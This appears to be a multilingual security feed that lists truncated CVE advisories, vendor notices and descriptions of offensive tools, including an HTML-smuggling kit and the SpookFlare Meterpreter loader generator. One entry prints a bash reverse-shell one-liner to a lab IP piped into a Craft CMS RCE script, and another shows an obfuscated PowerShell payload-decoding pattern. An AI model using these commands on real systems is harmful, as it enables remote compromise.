SmuggleMyPayload

SmuggleMyPayload SmuggleMyPayload — это набор инструментов для HTML -смугглинга, предназначенный для генерации HTML -страниц, которые встраивают и восстанавливают файлы с помощью JavaScript. Он предоставляет несколько методов HTML -смугглинга, параметры кодирования полезной нагрузки, вариации...

CVE-2026-66754-Remote-Denial-of-Service-via-Reachable-Assertion-in-URL-Prefix-Handling-rouille-

Security Advisory: Remote Denial of Service via Reachable Assertion in URL Prefix Handling rouille Assigned CVE ID: CVE-2026-66754 Summary Request::removeprefix проверяет процентно-декодированный URL, но выполняет assert над сырым. Запрос, чей декодированный путь начинается с префикса, а сырой пу...

httpd: httpd: HTTP response smuggling via crafted Transfer-Encoding response in mod_proxy_uwsgi

A flaw was found in the modproxyuwsgi module of Apache HTTP Server. This issue allows HTTP response smuggling when the server processes a crafted uWSGI response containing a Transfer-Encoding header. A remote attacker can exploit this vulnerability to desynchronize HTTP communications, potentiall...

CVE-2026-95670

The No External Links plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Log URL via /goto/base64 Redirect in all versions up to, and including, 5.2.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject...

CVE-2026-95670

The No External Links plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) in all versions up to and including 5.2.0 . The root cause is insufficient input sanitization and output escaping within the Log URL via /goto/{base64} Redirect functionality. This flaw allows unauthenti...

CVE-2026-95670 No External Links <= 5.2.0 - Unauthenticated Stored Cross-Site Scripting via Log URL via /goto/{base64} Redirect

The No External Links plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Log URL via /goto/base64 Redirect in all versions up to, and including, 5.2.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject...

EUVD-2026-91254

The No External Links plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Log URL via /goto/base64 Redirect in all versions up to, and including, 5.2.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject...

CVE-2026-67181-HTTP-Request-Smuggling-via-Transfer-Encoding-Desynchronization-rouille-

Уведомление о безопасности: HTTP Request Smuggling через десинхронизацию Transfer-Encoding rouille Присвоенный CVE ID: CVE-2026-67181 Краткое описание rouille::proxy::proxy передаёт заголовок Transfer-Encoding клиента на бэкенд без изменений, но записывает тело запроса, которое tinyhttp уже...

CVE-2026-103603 Unbounded HSS public key level count allows huge array allocation during signature verification

Memory allocation with excessive size value in the HSS/LMS signature code HssPublicKeyParameters, HssSignature in Legion of the Bouncy Castle Inc. bc-csharp before 2.7.0 allows a remote unauthenticated attacker who can supply both an HSS public key and a signature to cause a denial of service...

JavaDeRe

Описание проекта В основном используется для base64-кодирования class-файлов при создании payload'ов для Java-десериализации с целью получения обратной связи echo, а также для декодирования base64-строк в class-файлы при реагировании на инциденты, чтобы просмотреть вредоносную нагрузку. PS: главн...

xbootEncodePwd

xbootEncodePwd xboot-activiti-1.0-SNAPSHOT xboot-cms-1.0-SNAPSHOT xboot-generator-1.0-SNAPSHOT xboot-app-1.0-SNAPSHOT xboot-core-1.0-SNAPSHOT xboot-open-1.0-SNAPSHOT xboot-autochat-1.0-SNAPSHOT xboot-docking-1.0-SNAPSHOT xboot-quartz-1.0-SNAPSHOT xboot-base-1.0-SNAPSHOT xboot-ems-1.0-SNAPSHOT...

WSO2-2021-1261

WSO2-2021-1261: Множественные межсайтовые скриптинги в WSO2 ESB Из-за некорректного кодирования выходных данных в WSO2 ESB были обнаружены множественные межсайтовые скриптинг XSS атаки. Раскрытие информации вендором: Раскрытие информации и исправление этой уязвимости вендором можно найти здесь...

Powshell-decode-payload

декодирование gzip-кода powershell sal a New-Object;a IO.StreamReadera IO.Compression.GZipStreamIO.MemoryStreamConvert::FromBase64String'xxxx',IO.Compression.CompressionMode::Decompress,Text.Encoding::ASCII.ReadToEnd sal a New-Object;a IO.StreamReadera...

craftcms-cve-2025-32432-rce

payload=$printf %s "bash -c 'bash -i & /dev/tcp/10.10.14.96/4444 0&1'" | base64 -w0; ./craftrce.py http://10.129.66.170 "echo $payload | base64 -d | bash" orion.htb...

SpookFlare

SpookFlare SpookFlare adopte une perspective différente pour contourner les mesures de sécurité et vous offre la possibilité de contourner les contre-mesures des endpoints au niveau de la détection côté client et côté réseau. SpookFlare est un générateur de chargeur/dropper pour Meterpreter,...

urh

The Universal Radio Hacker URH is a complete suite for wireless protocol investigation with native support for many common Software Defined Radios. URH allows easy demodulation of signals combined with an automatic detection of modulation parameters making it a breeze to identify the bits and byt...

CVE-2026-63718

A flaw was found in the modproxyuwsgi module of Apache HTTP Server. This issue allows HTTP response smuggling when the server processes a crafted uWSGI response containing a Transfer-Encoding header. A remote attacker can exploit this vulnerability to desynchronize HTTP communications, potentiall...

CVE-2021-42013

CVE-2021-42013 Service vulnérable Installation Plusieurs options : 1. Conteneur Docker docker run -d -p 8080:80 12345qwert123456/apache2450cve-2021-42013 2. Dockerfile git clone https://github.com/12345qwert123456/CVE-2021-42013.git cd CVE-2021-42013-Vulnerable-service/2.4.50 docker build -t...

Cisco Catalyst SD-WAN Manager API Authentication Bypass Vulnerability (cisco-sa-sdwan-webauth-xr8beuuU)

According to its self-reported version, Cisco SD-WAN Viptela Software is affected by a vulnerability. - An authentication bypass vulnerability exists in the API session-based authentication management of Cisco Catalyst SD-WAN Manager due to improper handling of URI encoding hex encoding in HTTP...

openSUSE 16 Security Update : rclone (openSUSE-SU-2026:21999-1)

The remote openSUSE 16 host has packages installed that are affected by multiple vulnerabilities as referenced in the openSUSE-SU-2026:21999-1 advisory. Changes in rclone: - Update to version 1.75.1: boo1279548 - Security - archive - Fix zip slip path traversal in untrusted zip files...